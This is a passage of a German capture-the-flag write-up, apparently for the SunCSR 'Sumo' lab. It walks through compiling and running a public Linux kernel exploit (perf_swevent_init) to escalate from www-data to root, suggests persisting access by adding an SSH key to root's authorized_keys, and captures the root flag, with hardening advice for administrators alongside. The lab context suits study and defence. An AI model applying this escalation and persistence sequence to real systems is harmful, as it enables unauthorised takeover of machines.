Empfehlung (Pentester): Überprüfen Sie mit `ls -la /tmp`, ob die Datei korrekt übertragen wurde und die richtigen Berechtigungen hat. Fahren Sie mit der Kompilierung fort.
Empfehlung (Admin): Entfernen Sie unnötige Tools wie `wget` oder `curl` von Servern, wenn sie für den normalen Betrieb nicht benötigt werden. Überwachen Sie die Verwendung solcher Tools und Dateidownloads aus dem internen Netzwerk oder dem Internet. Beschränken Sie Schreibberechtigungen in `/tmp` falls möglich (obwohl dies oft schwierig ist, ohne die Systemfunktionalität zu beeinträchtigen).
# (Keine Ausgabe bei Erfolg)
total 32 drwxrwxrwt 2 root root 4096 Jul 15 17:35 . drwxr-xr-x 23 root root 4096 May 11 2020 .. -rwxrwxrwx 1 www-data www-data 207 Jul 15 17:13 QPbGo # Unbekannte Datei, evtl. Überbleibsel -rw-r--r-- 1 www-data www-data 3546 Jul 15 17:33 fuck.c -rwxr-xr-x 1 www-data www-data 13242 Jul 15 17:35 vnik
Analyse: 1. `gcc fuck.c -o vnik`: Kompiliert den heruntergeladenen C-Quellcode (`fuck.c`) mit dem GNU C Compiler (`gcc`). Die Option `-o vnik` gibt an, dass die resultierende ausführbare Datei `vnik` heißen soll. Das Fehlen einer Ausgabe deutet auf eine erfolgreiche Kompilierung hin. Die `-2` aus dem vorherigen Logeintrag war vermutlich ein Fehler im Log und wurde hier korrekterweise weggelassen. 2. `ls -la`: Listet den Inhalt von `/tmp` erneut auf.
Bewertung: Der Kernel-Exploit wurde erfolgreich auf dem Zielsystem kompiliert. Die Datei `vnik` ist nun vorhanden und hat Ausführungsrechte (`-rwxr-xr-x`). Das Vorhandensein des `gcc`-Compilers auf dem Zielsystem war hierfür entscheidend. Die Datei `QPbGo` ist unklar, könnte ein temporärer Dateiname von Metasploit oder ein Überbleibsel sein.
Empfehlung (Pentester): Der Exploit ist bereit zur Ausführung. Starten Sie die kompilierte Datei `./vnik` (ggf. mit erforderlichen Argumenten, falls der Exploit-Code welche vorsieht – hier wird im nächsten Schritt `0` verwendet).
Empfehlung (Admin): Entfernen Sie Compiler und Entwicklungswerkzeuge von Produktionssystemen. Wenn ein Angreifer Code nicht direkt kompilieren kann, muss er vorkompilierte Binaries hochladen, was die Erkennung erleichtern kann (z.B. durch Überwachung von Dateiuploads oder Ausführung unbekannter Binaries).
Der folgende Schritt demonstriert die erfolgreiche Ausnutzung der Kernel-Schwachstelle (CVE nicht explizit genannt, aber basierend auf 33589.c ist es wahrscheinlich eine Variante von CVE-2013-2094 oder ähnlich), um Root-Rechte zu erlangen.
IDT addr = 0xffffffff81dd7000 Using int = 3 with offset = -49063
Analyse: Der Befehl `./vnik 0` führt die zuvor kompilierte Exploit-Datei `vnik` mit dem Argument `0` aus. Der Exploit nutzt die Schwachstelle im Kernel ('perf_swevent_init') aus, um die Berechtigungen des aktuellen Prozesses zu erhöhen. Die Ausgaben `IDT addr = ...` und `Using int = ...` sind spezifische Debug- oder Statusmeldungen des Exploits während seiner Ausführung.
Bewertung: Der Exploit war erfolgreich! Das entscheidende Anzeichen ist der Wechsel des Kommandozeilen-Prompts von `www-data@ubuntu:/tmp$` zu `root@ubuntu:/tmp#`. Dies bedeutet, dass der Prozess, der den Exploit ausgeführt hat, nun mit Root-Rechten läuft. Die Privilegieneskalation war erfolgreich.
Empfehlung (Pentester): Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser primäres Ziel erreicht. Überprüfen Sie die Rechte sofort mit `id`. Sichern Sie den Zugriff, falls gewünscht (z.B. durch Hinzufügen eines SSH-Schlüssels zu `/root/.ssh/authorized_keys`). Suchen Sie nach den finalen Flags (`user.txt`, `root.txt`). Dokumentieren Sie den erfolgreichen Exploit als Proof-of-Concept.
Empfehlung (Admin): Dieser erfolgreiche Proof-of-Concept demonstriert die kritische Sicherheitslücke im veralteten Kernel. Das System muss *dringend* stillgelegt, neu aufgesetzt oder zumindest auf eine unterstützte Version aktualisiert werden. Kernel-Exploits umgehen oft viele andere Sicherheitsmaßnahmen.
root.txt
{Sum0-SunCSR-2020_r001}
Analyse: Nachdem Root-Rechte erlangt wurden, werden folgende Befehle ausgeführt: 1. `cd /root`: Wechselt in das Home-Verzeichnis des Root-Benutzers. 2. `ls`: Listet den Inhalt auf und findet die Datei `root.txt`. 3. `cat root.txt`: Gibt den Inhalt der Datei `root.txt` aus.
Bewertung: Die Root-Flag wurde erfolgreich ausgelesen: `{Sum0-SunCSR-2020_r001}`. Dies ist typischerweise das Endziel bei Capture-The-Flag-Übungen oder ein wichtiger Meilenstein in einem Pentest, der den vollständigen Systemkompromittierung nachweist.
Empfehlung (Pentester): Dokumentieren Sie die Root-Flag. Suchen Sie nun nach der User-Flag, die sich normalerweise im Home-Verzeichnis des Benutzers (`/home/sumo/user.txt`) befindet.
Empfehlung (Admin): Die Tatsache, dass sensible Informationen (auch wenn es nur eine Flag ist) im Root-Home-Verzeichnis liegen und von einem Angreifer nach einer Eskalation gelesen werden können, unterstreicht die Bedeutung der Verhinderung der Privilegieneskalation durch zeitnahe Updates und sichere Konfiguration.